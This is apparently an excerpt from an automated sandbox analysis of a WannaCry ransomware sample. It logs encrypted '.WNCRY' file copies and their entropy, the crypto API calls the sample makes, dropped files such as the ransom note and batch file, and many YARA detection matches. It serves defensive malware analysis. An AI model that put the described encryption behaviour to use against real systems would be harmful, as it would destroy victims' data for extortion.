            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRY (copy) entropy: 7.9998146213Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRY (copy) entropy: 7.99945141835Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRY (copy) entropy: 7.99892723077Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRY (copy) entropy: 7.99991754674Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRY (copy) entropy: 7.99835426884Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRY (copy) entropy: 7.99851263398Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRY (copy) entropy: 7.99965845055Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRY (copy) entropy: 7.99932905589Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRY (copy) entropy: 7.9973129998Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRY (copy) entropy: 7.99967918879Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRY (copy) entropy: 7.99947262569Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRY (copy) entropy: 7.99964975052Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRY (copy) entropy: 7.99987765465Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY (copy) entropy: 7.99957958013Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.WNCRY (copy) entropy: 7.9983459791Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRY (copy) entropy: 7.99812105656Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRY (copy) entropy: 7.9974522948Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRY (copy) entropy: 7.99953428626Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRY (copy) entropy: 7.99954127492Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRY (copy) entropy: 7.99659840845Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99988622625Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99987291548Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRY (copy) entropy: 7.99037009332Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRY (copy) entropy: 7.99872325193Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRY (copy) entropy: 7.99686947982Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRY (copy) entropy: 7.99082771066Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy) entropy: 7.99018490928Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRY (copy) entropy: 7.99294394267Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003F00 GetFileAttributesA,GetFileAttributesA,CreateFileA,GetFileSize,GlobalAlloc,ReadFile,GetFileAttributesA,CryptImportKey,_local_unwind2,_local_unwind2,0_2_10003F00
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003AC0 CryptImportKey,CryptImportKey,CryptDestroyKey,0_2_10003AC0
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004440 CryptAcquireContextA,wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,0_2_10004440

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: WannaCry_2.EXE, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
            Source: WannaCry_2.EXE, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
            Source: WannaCry_2.EXE, type: SAMPLEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: 0.2.WannaCry_2.EXE.9e6968.0.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
            Source: 0.2.WannaCry_2.EXE.10000000.1.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
            Source: 202.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: 0.2.WannaCry_2.EXE.9e6968.0.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
            Source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
            Source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
            Source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: 00000000.00000000.1123120496.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
            Source: 00000000.00000002.2384451558.000000000040F000.00000004.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess Stats: CPU usage > 24%
            Source: C:\Windows\System32\SIHClient.exeFile created: C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\TMPF078.tmp
            Source: C:\Windows\System32\SIHClient.exeFile created: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP8333.tmp
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100069400_2_10006940
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100066400_2_10006640
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100062800_2_10006280
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10005DC00_2_10005DC0
            Source: WannaCry_2.EXEStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract, compression method=deflate
            Source: taskdl.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: WannaCry_2.EXE, 00000000.00000003.1163474692.0000000000A14000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000003.1129560844.0000000002713000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000002.2385913238.00000000009D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000003.1129523334.0000000002578000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXE, 00000000.00000003.1152098482.0000000000A0C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs WannaCry_2.EXE
            Source: WannaCry_2.EXEStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: WannaCry_2.EXE, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
            Source: WannaCry_2.EXE, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
            Source: WannaCry_2.EXE, type: SAMPLEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: 0.2.WannaCry_2.EXE.9e6968.0.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
            Source: 0.2.WannaCry_2.EXE.10000000.1.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
            Source: 202.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: 0.2.WannaCry_2.EXE.9e6968.0.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
            Source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
            Source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
            Source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: 00000000.00000000.1123120496.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
            Source: 00000000.00000002.2384451558.000000000040F000.00000004.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\133611722583794.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
